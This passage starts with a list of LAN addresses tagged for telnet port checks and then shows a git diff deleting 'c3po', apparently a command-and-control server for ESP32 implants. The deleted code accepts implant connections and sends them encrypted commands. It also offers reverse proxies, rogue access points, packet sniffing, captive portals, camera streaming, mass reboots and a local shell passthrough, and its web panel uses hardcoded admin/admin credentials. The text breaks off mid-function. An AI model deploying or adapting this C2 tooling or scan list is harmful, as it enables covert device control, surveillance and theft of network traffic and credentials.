-192.168.1.108:23|PORT_CHECK -192.168.1.109:23|PORT_CHECK -192.168.1.110:23|PORT_CHECK -192.168.1.111:23|PORT_CHECK -192.168.1.112:23|PORT_CHECK -192.168.1.113:23|PORT_CHECK -192.168.1.114:23|PORT_CHECK -192.168.1.115:23|PORT_CHECK -192.168.1.116:23|PORT_CHECK -192.168.1.117:23|PORT_CHECK -192.168.1.118:23|PORT_CHECK -192.168.1.119:23|PORT_CHECK -192.168.1.120:23|PORT_CHECK -192.168.1.121:23|PORT_CHECK -192.168.1.122:23|PORT_CHECK -192.168.1.123:23|PORT_CHECK -192.168.1.124:23|PORT_CHECK -192.168.1.125:23|PORT_CHECK -192.168.1.126:23|PORT_CHECK -192.168.1.127:23|PORT_CHECK -192.168.1.128:23|PORT_CHECK -192.168.1.129:23|PORT_CHECK -192.168.1.130:23|PORT_CHECK -192.168.1.131:23|PORT_CHECK -192.168.1.132:23|PORT_CHECK -192.168.1.133:23|PORT_CHECK -192.168.1.134:23|PORT_CHECK -192.168.1.135:23|PORT_CHECK -192.168.1.136:23|PORT_CHECK -192.168.1.137:23|PORT_CHECK -192.168.1.138:23|PORT_CHECK -192.168.1.139:23|PORT_CHECK -192.168.1.140:23|PORT_CHECK -192.168.1.141:23|PORT_CHECK -192.168.1.142:23|PORT_CHECK -192.168.1.143:23|PORT_CHECK -192.168.1.144:23|PORT_CHECK -192.168.1.145:23|PORT_CHECK -192.168.1.146:23|PORT_CHECK -192.168.1.147:23|PORT_CHECK -192.168.1.148:23|PORT_CHECK -192.168.1.149:23|PORT_CHECK -192.168.1.150:23|PORT_CHECK -192.168.1.151:23|PORT_CHECK -192.168.1.152:23|PORT_CHECK -192.168.1.153:23|PORT_CHECK -192.168.1.154:23|PORT_CHECK -192.168.1.155:23|PORT_CHECK -192.168.1.156:23|PORT_CHECK -192.168.1.157:23|PORT_CHECK -192.168.1.158:23|PORT_CHECK -192.168.1.159:23|PORT_CHECK -192.168.1.160:23|PORT_CHECK -192.168.1.161:23|PORT_CHECK -192.168.1.162:23|PORT_CHECK -192.168.1.163:23|PORT_CHECK -192.168.1.164:23|PORT_CHECK -192.168.1.165:23|PORT_CHECK -192.168.1.166:23|PORT_CHECK -192.168.1.167:23|PORT_CHECK -192.168.1.168:23|PORT_CHECK -192.168.1.169:23|PORT_CHECK -192.168.1.170:23|PORT_CHECK -192.168.1.171:23|PORT_CHECK -192.168.1.172:23|PORT_CHECK -192.168.1.173:23|PORT_CHECK -192.168.1.174:23|PORT_CHECK -192.168.1.175:23|PORT_CHECK -192.168.1.176:23|PORT_CHECK -192.168.1.177:23|PORT_CHECK -192.168.1.178:23|PORT_CHECK -192.168.1.179:23|PORT_CHECK -192.168.1.180:23|PORT_CHECK -192.168.1.181:23|PORT_CHECK -192.168.1.182:23|PORT_CHECK -192.168.1.183:23|PORT_CHECK -192.168.1.184:23|PORT_CHECK -192.168.1.185:23|PORT_CHECK -192.168.1.186:23|PORT_CHECK -192.168.1.187:23|PORT_CHECK -192.168.1.188:23|PORT_CHECK -192.168.1.189:23|PORT_CHECK -192.168.1.190:23|PORT_CHECK -192.168.1.191:23|PORT_CHECK -192.168.1.192:23|PORT_CHECK -192.168.1.193:23|PORT_CHECK -192.168.1.194:23|PORT_CHECK -192.168.1.195:23|PORT_CHECK -192.168.1.196:23|PORT_CHECK -192.168.1.197:23|PORT_CHECK -192.168.1.198:23|PORT_CHECK -192.168.1.199:23|PORT_CHECK -192.168.1.200:23|PORT_CHECK -192.168.1.201:23|PORT_CHECK -192.168.1.202:23|PORT_CHECK -192.168.1.203:23|PORT_CHECK -192.168.1.204:23|PORT_CHECK -192.168.1.205:23|PORT_CHECK -192.168.1.206:23|PORT_CHECK -192.168.1.207:23|PORT_CHECK -192.168.1.208:23|PORT_CHECK -192.168.1.209:23|PORT_CHECK -192.168.1.210:23|PORT_CHECK -192.168.1.211:23|PORT_CHECK -192.168.1.212:23|PORT_CHECK -192.168.1.213:23|PORT_CHECK -192.168.1.214:23|PORT_CHECK -192.168.1.215:23|PORT_CHECK -192.168.1.216:23|PORT_CHECK -192.168.1.217:23|PORT_CHECK -192.168.1.218:23|PORT_CHECK -192.168.1.219:23|PORT_CHECK -192.168.1.220:23|PORT_CHECK -192.168.1.221:23|PORT_CHECK -192.168.1.222:23|PORT_CHECK -192.168.1.223:23|PORT_CHECK -192.168.1.224:23|PORT_CHECK -192.168.1.225:23|PORT_CHECK -192.168.1.226:23|PORT_CHECK -192.168.1.227:23|PORT_CHECK -192.168.1.228:23|PORT_CHECK -192.168.1.229:23|PORT_CHECK -192.168.1.230:23|PORT_CHECK -192.168.1.231:23|PORT_CHECK -192.168.1.232:23|PORT_CHECK -192.168.1.233:23|PORT_CHECK -192.168.1.234:23|PORT_CHECK -192.168.1.235:23|PORT_CHECK -192.168.1.236:23|PORT_CHECK -192.168.1.237:23|PORT_CHECK -192.168.1.238:23|PORT_CHECK -192.168.1.239:23|PORT_CHECK -192.168.1.240:23|PORT_CHECK -192.168.1.241:23|PORT_CHECK -192.168.1.242:23|PORT_CHECK -192.168.1.243:23|PORT_CHECK -192.168.1.244:23|PORT_CHECK -192.168.1.245:23|PORT_CHECK -192.168.1.246:23|PORT_CHECK -192.168.1.247:23|PORT_CHECK -192.168.1.248:23|PORT_CHECK -192.168.1.249:23|PORT_CHECK -192.168.1.250:23|PORT_CHECK -192.168.1.251:23|PORT_CHECK -192.168.1.252:23|PORT_CHECK -192.168.1.253:23|PORT_CHECK -192.168.1.254:23|PORT_CHECK diff --git a/tools/c3po/proxyficateur/srv.py b/tools/c3po/proxyficateur/srv.py deleted file mode 100644 index 9c95e71..0000000 --- a/tools/c3po/proxyficateur/srv.py +++ /dev/null @@ -1,65 +0,0 @@ - -import socket -import threading -import time - -clients = {} -lock = threading.Lock() - -def load_all_commands(filename="commands.txt"): - try: - with open(filename, "r") as f: - return [line.strip() for line in f if line.strip()] - except FileNotFoundError: - print(f"[!] Fichier {filename} non trouvé.") - return [] - -def handle_client(client_socket, address): - client_id = f"{address[0]}:{address[1]}" - print(f"[+] Nouveau client connecté : {client_id}") - - with lock: - clients[client_id] = client_socket - - commands = load_all_commands() - - try: - for cmd in commands: - print(f"[→] Envoi à {client_id} : {cmd}") - client_socket.sendall((cmd + "\n").encode()) - - # Attente de la réponse du client avant de continuer - data = client_socket.recv(4096) - if not data: - print(f"[!] Le client {client_id} a fermé la connexion.") - break - print(f"[←] Réponse de {client_id} : {data.decode(errors='ignore')}") - - except Exception as e: - print(f"[!] Erreur avec {client_id} : {e}") - - finally: - with lock: - if client_id in clients: - del clients[client_id] - client_socket.close() - print(f"[-] Client déconnecté : {client_id}") - -def accept_connections(server_socket): - while True: - client_socket, addr = server_socket.accept() - threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start() - -def start_server(host="0.0.0.0", port=1234): - server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server.bind((host, port)) - server.listen(5) - print(f"[Serveur] En écoute sur {host}:{port}") - - threading.Thread(target=accept_connections, args=(server,), daemon=True).start() - - while True: - time.sleep(1) - -if __name__ == "__main__": - start_server() diff --git a/tools/c3po/static/streams/record.avi b/tools/c3po/static/streams/record.avi deleted file mode 100644 index 9a00a93..0000000 Binary files a/tools/c3po/static/streams/record.avi and /dev/null differ diff --git a/tools/c3po/templates/index.html b/tools/c3po/templates/index.html deleted file mode 100644 index 0736a05..0000000 --- a/tools/c3po/templates/index.html +++ /dev/null @@ -1,38 +0,0 @@ - - - - - Multi Flux Caméras UDP - - - -

Caméras en direct

-
- {% for img in image_files %} -
-

{{ img }}

- Camera {{ loop.index }} -

{{ image.split('_')[0] if '_' in image else image }}

-
- {% endfor %} -
- - - → Voir Trilatération - - \ No newline at end of file diff --git a/tools/c3po/templates/login.html b/tools/c3po/templates/login.html deleted file mode 100644 index 72f657f..0000000 --- a/tools/c3po/templates/login.html +++ /dev/null @@ -1,58 +0,0 @@ - - - - - - Connexion - - - -
-

Connexion requise

-

Veuillez entrer vos identifiants pour accéder au service.

- {% if error %} -
{{ error }}
- {% endif %} - - - - - -
- - \ No newline at end of file diff --git a/tools/c3po/templates/trilateration.html b/tools/c3po/templates/trilateration.html deleted file mode 100644 index 9cd02b5..0000000 --- a/tools/c3po/templates/trilateration.html +++ /dev/null @@ -1,153 +0,0 @@ - - - - - Carte de Trilatération - - - -

Carte de Trilatération

- -

Dernier point : - {% if point %} - ({{ "%.3f"|format(point[0]) }}, {{ "%.3f"|format(point[1]) }}) - {% else %} - Aucun point - {% endif %} -

- -
- - - -
- - - - - - diff --git a/tools/c3po/test/test.py b/tools/c3po/test/test.py deleted file mode 100644 index 219e391..0000000 --- a/tools/c3po/test/test.py +++ /dev/null @@ -1,101 +0,0 @@ -from utils.utils import _print_status, send_to_client -from utils.reboot import reboot -from utils.manager import add_to_group, remove_group, remove_esp_from_group -import time - - -def system_check(c2): - _print_status("=============== TEST GLOBAL DU SYSTÈME ===============", "CYAN") - - # 1. Liste des clients connectés - _print_status("[1/10] Liste des clients connectés", "YELLOW") - if not c2.clients: - _print_status("Aucun client connecté", "RED", "✗") - return - for i, (addr, _) in enumerate(c2.clients.items(), 1): - print(f" {i}. {addr[0]}:{addr[1]}") - _print_status("Liste récupérée", "GREEN", "✓") - - # 2. Envoi d'une commande simple ("ls") à chaque client - _print_status("[2/10] Test d'envoi de commande à chaque client", "YELLOW") - for addr in list(c2.clients.keys()): - try: - response = send_to_client(c2, addr, "ls", wait_response=True) - if response: - _print_status(f"Réponse reçue de {addr[0]}", "GREEN", "✓") - else: - _print_status(f"Aucune réponse de {addr[0]}", "RED", "✗") - except: - _print_status(f"Erreur d'envoi vers {addr[0]}", "RED", "✗") - - # 3. Création et remplissage d'un groupe de test - _print_status("[3/10] Création d’un groupe test et ajout de clients", "YELLOW") - test_group = "test_all" - for i, addr in enumerate(c2.clients.keys()): - if i < 2: # Limite à 2 clients pour le test - add_to_group(c2, test_group, addr) - if test_group in c2.groups: - _print_status(f"Groupe '{test_group}' créé avec {len(c2.groups[test_group])} clients", "GREEN", "✓") - else: - _print_status("Échec création groupe", "RED", "✗") - - # 4. Liste des groupes - _print_status("[4/10] Listing des groupes", "YELLOW") - if c2.groups: - for group, members in c2.groups.items(): - print(f" {group} : {members}") - _print_status("Groupes listés", "GREEN", "✓") - else: - _print_status("Aucun groupe trouvé", "RED", "✗") - - # 5. Reboot d’un seul client - _print_status("[5/10] Reboot d’un seul client", "YELLOW") - first_client = list(c2.clients.keys())[0] - reboot(c2, first_client, mode="single") - time.sleep(5) - - # 6. Reboot du groupe - _print_status("[6/10] Reboot du groupe", "YELLOW") - reboot(c2, test_group, mode="group") - time.sleep(5) - - # 7. Reboot de tous les clients - _print_status("[7/10] Reboot de tous les clients", "YELLOW") - reboot(c2, mode="all") - time.sleep(5) - - # 8. Attente et vérification de reconnexion - _print_status("[8/10] Attente de reconnexion des clients", "YELLOW", "!") - time.sleep(5) - if c2.clients: - for addr in c2.clients.keys(): - print(f" - {addr[0]}:{addr[1]}") - _print_status("Clients reconnectés", "GREEN", "✓") - else: - _print_status("Aucun client reconnecté", "RED", "✗") - - # 9. Retirer un client du groupe - # check si il y a plusieurs clients dans le groupe - # si oui, retirer le premier - # sinon passer le test - _print_status("[9/10] Retirer un client du groupe", "YELLOW") - if len(c2.groups[test_group]) > 1: - first_client = c2.groups[test_group][0] - remove_esp_from_group(c2, test_group, [first_client]) - if first_client not in c2.groups[test_group]: - _print_status(f"Client {first_client} retiré du groupe {test_group}", "GREEN", "✓") - else: - _print_status(f"Échec de retrait du client {first_client} du groupe {test_group}", "RED", "✗") - else: - _print_status("Groupe ne contient qu'un seul client, pas de retrait effectué", "YELLOW", "!") - - # 10. Suppression du groupe - _print_status("[10/10] Suppression du groupe de test", "YELLOW") - if test_group in c2.groups: - remove_group(c2, test_group) - if test_group not in c2.groups: - _print_status("Groupe supprimé", "GREEN", "✓") - else: - _print_status("Échec de suppression du groupe", "RED", "✗") - - _print_status("=============== TEST TERMINÉ ===============", "CYAN") diff --git a/tools/c3po/utils/cli.py b/tools/c3po/utils/cli.py deleted file mode 100644 index f44a82c..0000000 --- a/tools/c3po/utils/cli.py +++ /dev/null @@ -1,149 +0,0 @@ -from utils.manager import list_groups -from tools.c2.utils.constant import _color -# from utils.genhash import generate_random_endpoint, generate_token -from utils.utils import _print_status, _list_clients, _send_command -#from test.test import system_check -# from udp_server import start_cam_server, stop_cam_server -import os -import readline -from utils.sheldon import call - -def _setup_cli(c2): - readline.parse_and_bind("tab: complete") - readline.set_completer_delims(' \t\n;') - readline.set_completer(c2._complete) - readline.set_auto_history(True) - -def _show_menu(): - menu = f""" -{_color('CYAN')}=============== Menu Server ==============={_color('RESET')} - - - - menu / help -> List of commands - - - -########## Manage Esp32 ########## - - - add_group -> Add a client to a group - list_groups -> List all groups - - remove_group -> Remove a group - remove_esp_from -> Remove a client from a group - - reboot -> Reboot a specific client - reboot -> Reboot all clients in a group - reboot all -> Reboot all clients - - - -########## System C2 Commands ########## - - - list -> List all connected clients - clear -> Clear the terminal screen - exit -> Exit the server - start/stop srv_video -> Register a camera service - - - -########## Firmware Services client ########## - - -## Send Commands to firmware ## - - send -> Send a message to a client - or - send -> Start/Stop a service on a specific client - -## Start/Stop Services on clients ## - - start proxy -> Start a reverse proxy on ur ip port for a specific client - stop proxy -> Stop the revproxy on a specific client - - start stream -> Start camera stream on a specific client - stop stream -> Stop camera stream on a specific client - - start ap -> Start an access point on a specific client - (WIFI_SSID and PASSWORD are optional, default_SSID="ESP_32_WIFI_SSID") - stop ap -> Stop the access point on a specific client - list_clients -> List all connected clients on the access point - - start sniffer -> Start packet sniffing on clients connected to the access point - stop sniffer -> Stop packet sniffing on clients connected to the access point - - start captive_portal -> Start a server on a specific client - (WIFI_SSID is optional, default_SSID="ESP_32_WIFI_SSID") - stop captive_portal -> Stop the server on a specific client - -""" - print(menu) - - - - -def _show_banner(): - banner = rf""" -{_color('CYAN')}Authors : Eunous/grogore, itsoktocryyy, offpath, Wepfen, p2lu - -___________ -\_ _____/ ____________ |__| | ____ ____ - | __)_ / ___/\____ \| | | / _ \ / \ - | \\___ \ | |_> > | |_( <_> ) | \ -/_______ /____ >| __/|__|____/\____/|___| / - \/ \/ |__| \/ - -=============== v 0.1 ==============={_color('RESET')} -""" - print(banner) - - - - -def cli_interface(self): - _show_banner() - _show_menu() - - # def _cmd_start(parts): - # if len(parts) > 1 and parts[1] == "srv_video": - # start_cam_server() - - - # def _cmd_stop(parts): - # if len(parts) > 1 and parts[1] == "srv_video": - # stop_cam_server() - - commands = { - "menu": lambda parts: _show_menu(), - "help": lambda parts: _show_menu(), - "send": lambda parts: _send_command(self, " ".join(parts)), - "list": lambda parts: _list_clients(self), - "clear": lambda parts: os.system('cls' if os.name == 'nt' else 'clear'), - "exit": lambda parts: self._shutdown(), - "reboot": lambda parts: self._handle_reboot(parts), - "add_group": lambda parts: self._handle_add_group(parts), - "list_groups": lambda parts: list_groups(self), - "remove_group": lambda parts: self._handle_remove_group(parts), - "remove_esp_from": lambda parts: self._handle_remove_esp_from(parts), - # "start": _cmd_start, - # "stop": _cmd_stop, - # "system_check": lambda parts: system_check(self), - } - - while True: - choix = input(f"\n{_color('BLUE')}striker:> {_color('RESET')}").strip() - if not choix: - continue - - parts = choix.split() - cmd = parts[0] - - try: - if cmd in commands: - commands[cmd](parts) - else: - call(choix) - except Exception as e: - _print_status(f"Erreur: {str(e)}", "RED", "⚠") diff --git a/tools/c3po/utils/espilon_pb2.py b/tools/c3po/utils/espilon_pb2.py deleted file mode 100644 index 92b4b20..0000000 --- a/tools/c3po/utils/espilon_pb2.py +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding: utf-8 -*- -# Generated by the protocol buffer compiler. DO NOT EDIT! -# source: espilon.proto -"""Generated protocol buffer code.""" -from google.protobuf.internal import builder as _builder -from google.protobuf import descriptor as _descriptor -from google.protobuf import descriptor_pool as _descriptor_pool -from google.protobuf import symbol_database as _symbol_database -# @@protoc_insertion_point(imports) - -_sym_db = _symbol_database.Default() - - - - -DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\respilon.proto\x12\x07\x65spilon\"C\n\nESPMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\x12\x0b\n\x03log\x18\x04 \x01(\x0c\"\x1c\n\tC2Command\x12\x0f\n\x07payload\x18\x01 \x02(\t\"U\n\rESPLogMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x13\n\x0blog_message\x18\x03 \x01(\t\x12\x16\n\x0elog_error_code\x18\x04 \x01(\r') - -_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals()) -_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'espilon_pb2', globals()) -if _descriptor._USE_C_DESCRIPTORS == False: - - DESCRIPTOR._options = None - _ESPMESSAGE._serialized_start=26 - _ESPMESSAGE._serialized_end=93 - _C2COMMAND._serialized_start=95 - _C2COMMAND._serialized_end=123 - _ESPLOGMESSAGE._serialized_start=125 - _ESPLOGMESSAGE._serialized_end=210 -# @@protoc_insertion_point(module_scope) diff --git a/tools/c3po/utils/genhash.py b/tools/c3po/utils/genhash.py deleted file mode 100644 index 7288388..0000000 --- a/tools/c3po/utils/genhash.py +++ /dev/null @@ -1,13 +0,0 @@ -import secrets -import hashlib - -def generate_random_endpoint(): - endpoint = f"/stream_{secrets.token_hex(4)}" - print(f"[+] Endpoint généré : {endpoint}") - return endpoint - -def generate_token(): - raw = secrets.token_bytes(8) - hashed = hashlib.sha256(raw).hexdigest() - print(f"[+] Bearer Token généré : {hashed}") - return hashed diff --git a/tools/c3po/utils/manager.py b/tools/c3po/utils/manager.py deleted file mode 100644 index 4cac8a8..0000000 --- a/tools/c3po/utils/manager.py +++ /dev/null @@ -1,57 +0,0 @@ -from utils.utils import _print_status -from tools.c2.utils.constant import _color - -def add_to_group(c2, group_name, client_address): - if group_name not in c2.groups: - c2.groups[group_name] = [] - - ip_address = client_address[0] - - if ip_address not in c2.groups[group_name]: - c2.groups[group_name].append(ip_address) - _print_status(f"Client {ip_address} ajouté au groupe {group_name}", "GREEN") - else: - _print_status(f"Client {ip_address} est déjà dans le groupe {group_name}", "YELLOW", "!") - -def list_groups(c2): - if c2.groups: - print(f"\n{_color('CYAN')}Groupes disponibles :{_color('RESET')}") - for group_name, members in c2.groups.items(): - print(f"{group_name}: {', '.join(members)}") - else: - _print_status("Aucun groupe disponible", "RED", "⚠") - -def remove_group(c2, group_name): - if group_name in c2.groups: - del c2.groups[group_name] - _print_status(f"Groupe {group_name} supprimé", "GREEN") - else: - _print_status(f"Groupe {group_name} non trouvé", "RED", "⚠") - -def remove_esp_from_group(c2, group_name, esp_list): - if group_name not in c2.groups: - _print_status(f"Groupe {group_name} non trouvé", "RED", "⚠") - return - - for esp in esp_list: - try: - index = int(esp) - 1 - if 0 <= index < len(c2.clients): - client_ip = list(c2.clients.keys())[index][0] - if client_ip in c2.groups[group_name]: - c2.groups[group_name].remove(client_ip) - _print_status(f"Client {client_ip} retiré du groupe {group_name}", "GREEN") - else: - _print_status(f"Client {client_ip} n'est pas dans le groupe {group_name}", "RED", "⚠") - else: - _print_status(f"Index client {esp} invalide", "RED", "⚠") - except ValueError: - if esp in c2.groups[group_name]: - c2.groups[group_name].remove(esp) - _print_status(f"Client {esp} retiré du groupe {group_name}", "GREEN") - else: - _print_status(f"Client {esp} n'est pas dans le groupe {group_name}", "RED", "⚠") - - if group_name in c2.groups and not c2.groups[group_name]: - del c2.groups[group_name] - _print_status(f"Groupe {group_name} supprimé car vide", "YELLOW", "!") diff --git a/tools/c3po/utils/message_process.py b/tools/c3po/utils/message_process.py deleted file mode 100644 index 85516b8..0000000 --- a/tools/c3po/utils/message_process.py +++ /dev/null @@ -1,79 +0,0 @@ -import os -import base64 -from datetime import datetime -from utils.espilon_pb2 import ESPMessage -from utils.utils import _print_status -from core.chacha20 import crypt -from utils.cli import _color - -_last_client = None - -def process_esp_message(c2, client_address, message): - """ - Traite un message base64 provenant de l’ESP : - - Décode base64, déchiffre et parse en ESPMessage - - Affiche les champs - - Sauvegarde dans logs//.log avec timestamp - """ - - global _last_client - try: - # 1. Decode Base64 - decoded = base64.b64decode(message) - - # 2. Déchiffrement - decrypted = crypt(decoded) - - # 3. Parse Protobuf - msg = ESPMessage() - msg.ParseFromString(decrypted) - - # 4. Traitement du champ log (bytes) - log_str = "" - if msg.log: - try: - log_str = msg.log.decode("utf-8") - except UnicodeDecodeError: - log_str = f"<{len(msg.log)} bytes non-text>" - - # 5. Identification - tag = msg.tag or "untagged" - client_id = msg.id or "unknown" - message_text = msg.message or "" - - # 6. Affichage console - if _last_client != (client_id, client_address): - print(_color("CYAN") + f"\n🛰 Received from id: {client_id} | {client_address}" + _color("RESET")) - _last_client = (client_id, client_address) - - print(f" Tag : {tag}") - - if log_str: - print(f" Message : {message_text}") - print(f" Log : {log_str}\n") - else: - print(f" Message : {message_text}\n") - - # 7. Dossier et chemin - safe_tag = tag.replace("/", "_") - log_dir = os.path.join("logs", safe_tag) - os.makedirs(log_dir, exist_ok=True) - - log_path = os.path.join(log_dir, f"{client_id}.log") - timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - new_file = not os.path.exists(log_path) - - # 8. Écriture dans le fichier - with open(log_path, "a", encoding="utf-8") as f: - if new_file: - f.write(f"# Log file generated at {timestamp}\n") - f.write(f"[{timestamp}]-[{client_address}] " - f"MESSAGE[ID : {client_id}] " - f"DATA=[{message_text}]" - f"{f' LOG=[{log_str}]' if log_str else ''}\n") - - return decrypted - - except Exception as e: - print(f"\n{_color('RED')}[⚠] Error process_esp_message : {e}{_color('RESET')}") - return None diff --git a/tools/c3po/utils/reboot.py b/tools/c3po/utils/reboot.py deleted file mode 100644 index 312fabf..0000000 --- a/tools/c3po/utils/reboot.py +++ /dev/null @@ -1,61 +0,0 @@ -from tools.c2.utils.constant import _color -from utils.utils import _print_status, _find_client_by_ip -from tools.c2.core.chacha20 import crypt - -# ==== Send Reboot ==== # -def _send_reboot(c2, client_address): - encrypted_message = crypt("reboot".encode()) - c2.clients[client_address].send(encrypted_message) - _print_status(f"Commande de reboot envoyée à {client_address}", "BLUE", "🔄") - -# ==== Reboot System ==== # -def reboot(c2, target=None, mode="single"): - """ - Reboot un ou plusieurs clients. - - - mode='single' : cible est une adresse IP d'un client. - - mode='group' : cible est le nom d'un groupe. - - mode='all' : cible est ignorée, tous les clients seront reboot. - - uasage: - - reboot(c2, "192.168.1.42", mode="single") - reboot(c2, "groupe_temp_capteurs", mode="group") - reboot(c2, mode="all") - """ - clients_to_reboot = [] - - if mode == "single": - if target in c2.clients: - clients_to_reboot.append(target) - else: - _print_status(f"Client {target} not found", "RED", "⚠") - return - - elif mode == "group": - if target in c2.groups: - for ip_address in c2.groups[target]: - client_address = _find_client_by_ip(c2, ip_address) - if client_address and client_address in c2.clients: - clients_to_reboot.append(client_address) - else: - _print_status(f"Group {target} not found", "RED", "⚠") - return - - elif mode == "all": - if not c2.clients: - _print_status("No client connected", "RED", "⚠") - return - clients_to_reboot = list(c2.clients.keys()) - - else: - _print_status("Invalide reboot mode", "RED", "⚠") - return - - for client_address in clients_to_reboot: - try: - _send_reboot(c2, client_address) - del c2.clients[client_address] - _print_status(f"Client {client_address} disconnected after reboot", "RED", "-") - except: - _print_status(f"Error during reboot of {client_address}", "RED", "⚠") diff --git a/tools/c3po/utils/sheldon.py b/tools/c3po/utils/sheldon.py deleted file mode 100644 index 83a6d51..0000000 --- a/tools/c3po/utils/sheldon.py +++ /dev/null @@ -1,36 +0,0 @@ -import os -import shlex -import subprocess - - -class CommandError(Exception): - def __init__(self, message): - # Call the base class constructor with the parameters it needs - Exception.__init__(self, message) - - -def call(cmd): - cmd_lines = split_cmd(cmd) - for line in cmd_lines: - call_list = shlex.split(line) - try: - subprocess.call(call_list) - - except OSError: - if call_list[0] == 'cd': - try: - # ~ will raise CommandError, need to expand - if call_list[1][0] == '~': - call_list[1] = call_list[1].replace( - '~', - os.path.expanduser('~')) - os.chdir(call_list[1]) - except: - raise CommandError('{0} is not a valid command.'.format(call_list[0])) - - -def split_cmd(cmd): - cmd_lines = cmd.splitlines() - cmd_lines = map(lambda x: x.strip(), cmd_lines) - cmd_lines = filter(lambda x: x != '', cmd_lines) - return cmd_lines \ No newline at end of file diff --git a/tools/c3po/utils/static/streams/record.avi b/tools/c3po/utils/static/streams/record.avi deleted file mode 100644 index 03e100a..0000000 Binary files a/tools/c3po/utils/static/streams/record.avi and /dev/null differ diff --git a/tools/c3po/utils/static/streams/waiting_for_camera b/tools/c3po/utils/static/streams/waiting_for_camera deleted file mode 100644 index 4b68339..0000000 Binary files a/tools/c3po/utils/static/streams/waiting_for_camera and /dev/null differ diff --git a/tools/c3po/utils/utils.py b/tools/c3po/utils/utils.py deleted file mode 100644 index 0b0bcc7..0000000 --- a/tools/c3po/utils/utils.py +++ /dev/null @@ -1,99 +0,0 @@ -from core.chacha20 import crypt -from tools.c2.utils.constant import _color -import threading -import base64 -from utils.espilon_pb2 import C2Command - -# ==== Print Status ==== # -def _print_status(message, color, icon=""): - icon_str = f"{icon} " if icon else "" - print(f"\n{_color(color)}[{icon_str}{message}]{_color('RESET')}") - -# ==== Send Command ==== # -def _find_client(c2, identifier): - try: - index = int(identifier) - 1 - if 0 <= index < len(c2.clients): - return list(c2.clients.keys())[index] - except ValueError: - for addr in c2.clients.keys(): - if identifier in addr[0]: - return addr - return None - -# ==== Find Client by IP ==== # -def _find_client_by_ip(c2, ip_address): - for addr in c2.clients.keys(): - if addr[0] == ip_address: - return addr - return None - -# ==== List Client ==== # -def _list_clients(c2): - if c2.clients: - _print_status("Clients connectés :", "GREEN") - for i, (addr, _) in enumerate(c2.clients.items(), start=1): - print(f"{i}. {addr[0]}:{addr[1]}") - - # Send ls command to each client with multithreading and wait for response - threads = [] - for addr in c2.clients.keys(): - thread = threading.Thread(target=send_to_client, args=(c2, addr, "ping", True)) - threads.append(thread) - thread.start() - for thread in threads: - thread.join() - - else: - _print_status("Aucun client connecté", "RED", "⚠") - - -# ==== Send to Client ==== # -def send_to_client(c2, client_address, message, wait_response=False, timeout=5): - # print(f"\n{_color('BLUE')}[*] Envoi de message à {client_address}: {message}{_color('RESET')}") - if client_address in c2.clients: - try: - command = C2Command() - command.payload = message.strip() - - # 2. Sérialiser avec Protobuf - serialized_command = command.SerializeToString() - - encrypted_message = crypt(serialized_command) - encoded_message = base64.b64encode(encrypted_message) - c2.clients[client_address].send(encoded_message) - _print_status(f"Message envoyé à {client_address}: {message}", "BLUE", "📩") - - if wait_response: - # Reset the event and wait for the response - if client_address in c2.response_events: - c2.response_events[client_address].clear() - if c2.response_events[client_address].wait(timeout): - response = c2.response_data[client_address] - return response - else: - _print_status(f"Pas de réponse de {client_address} dans le délai imparti", "RED", "⚠") - return None - else: - _print_status(f"Erreur: Pas d'événement pour {client_address}", "RED", "⚠") - return None - except: - _print_status(f"Erreur lors de l'envoi à {client_address}", "RED", "⚠") - else: - _print_status(f"Client {client_address} non trouvé", "RED", "⚠") - return None - - -# ==== Send Command ==== # -def _send_command(c2, cmd): - if len(cmd.split()) < 3: - _print_status(" Commande invalide. Utilisez 'send '", "RED", "⚠") - return - - if c2.clients: - client = _find_client(c2, cmd.split()[1]) - print(f"Client trouvé : {client}") - if client: - send_to_client(c2, client, " ".join(cmd.split()[2:])) - else: - _print_status("Aucun client connecté", "RED", "⚠") \ No newline at end of file diff --git a/tools/c3po/webserver.py b/tools/c3po/webserver.py deleted file mode 100644 index cff1de2..0000000 --- a/tools/c3po/webserver.py +++ /dev/null @@ -1,266 +0,0 @@ -import os -import cv2 -import numpy as np -import threading -import socket -# from flask import Flask, render_template, send_from_directory -from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify -from collections import deque - -TX_POWER = -40 -ENV_FACTOR = 2 -WINDOW_SIZE = 5 - -esp_data = {} -latest_observations = {} -esp_positions = {} -position_history = deque(maxlen=WINDOW_SIZE) -trilat_points = [] - - -# === CONFIG === -UDP_IP = "0.0.0.0" -UDP_PORT = 5000 -BUFFER_SIZE = 65535 -IMAGE_DIR = "static/streams" - -# === FLASK SECRET KEY === -SECRET_KEY = "change_this_for_prod" -SECRET_TOKEN = b"Sup3rS3cretT0k3n" -app = Flask(__name__) -app.secret_key = SECRET_KEY - - -# === CRÉATION DES DOSSIERS === -os.makedirs(IMAGE_DIR, exist_ok=True) - -udp_thread = None -flask_thread = None -udp_sock = None -flask_server = None -stop_udp_event = threading.Event() - -VIDEO_PATH = "static/streams/record.avi" -video_writer = None -video_writer_fps = 10 # images/seconde -video_writer_size = None - - -@app.route("/login", methods=["GET", "POST"]) -def login(): - error = None - if request.method == "POST": - username = request.form.get("username") - password = request.form.get("password") - if username == "admin" and password == "admin": - session["logged_in"] = True - return redirect(url_for("index")) - else: - error = "Identifiants invalides." - return render_template("login.html", error=error) - -@app.route("/logout") -def logout(): - session.pop("logged_in", None) - return redirect(url_for("login")) - -@app.route("/") -def index(): - if not session.get("logged_in"): - return redirect(url_for("login")) - # Liste les images disponibles - image_files = sorted([f for f in os.listdir(IMAGE_DIR) if f.endswith(".jpg")]) - if not image_files: - image_files = ["waiting_for_camera"] - return render_template("index.html", image_files=image_files) - -@app.route("/streams/") -def stream_image(filename): - return send_from_directory(IMAGE_DIR, filename) - -from flask import request, jsonify - -@app.route("/api/trilateration", methods=["POST"]) -def trilateration_api(): - # Accepte du texte brut : Content-Type: text/plain - if 